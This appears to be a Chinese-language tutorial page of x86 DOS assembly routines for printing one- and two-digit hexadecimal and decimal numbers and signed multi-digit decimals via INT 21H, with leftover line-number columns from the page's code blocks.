  CMP DL, 09H
  JBE L1
  ADD DL, 07H
L1:
  ADD DL, 30H

  MOV AH, 02H
  INT 21H

输出两位十六进制整数

1
2
3
4
5
6
7
8
9

DISP_2_HEX:
  MOV AL, DL
  MOV AH, 0
  MOV DL, 10H
  DIV DL        ; 除数是 8 位 AL 存商， AH 存余数
  MOV DL, AL
  CALL DISP_1_HEX
  MOV DL, AH
  CALL DISP_1_HEX

输出一位十进制整数

1
2
3
4
5
6
7

DISP_1_DEC:
  PUSH AX
  ADD DL,30H
  MOV AH,02H
  INT 21H
  POP AX
RET

输出两位十进制整数

1
2
3
4
5
6
7
8
9
10
11
12

DISP_2_DEC:    ; DL 除十取余法
  PUSH AX
  MOV AL,DL
  MOV AH,0
  MOV DL,10
  DIV DL        ; 除数是 8 位 AL 存商， AH 存余数
  MOV DL,AL
  CALL DISP_1_DEC
  MOV DL,AH
  CALL DISP_1_DEC
  POP AX
RET

带符号位的输出多位十进制整数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

DISP:            ; 用十进制出AX中的数
  PUSHF
  PUSH DX
  PUSH AX
  PUSH BX
  PUSH CX

  MOV  CX, 0
  MOV  BX, 10    ; 除 10 取余法

  TEST AX, 8000H ; 检测AX首位是1还是0
  JE   DISP1     ; 如果上一句的结果为0，就跳
  CALL FF        ; 输出负号
  NEG  AX        ; 取反+1

DISP1:
  MOV  DX, 0
  DIV  BX        ;除数是 16 位 AX,商；DX,余数
  PUSH DX
  INC  CX
  OR   AX, AX    ; 是否商完
  JNE  DISP1     ; 没商完继续商

DISP2:
  POP  DX
  ADD  DL, 30H   ; 以ascii码输出
  MOV  AH, 02H
  INT  21H
  LOOP DISP2

  POP  CX
  POP  BX
  POP  AX
  POP  DX
  POPF
RET
FF:
  PUSH DX
  PUSH AX

  MOV  DL, '-'
  MOV  AH, 02H
  INT  21H

  POP  AX
  POP  DX
RET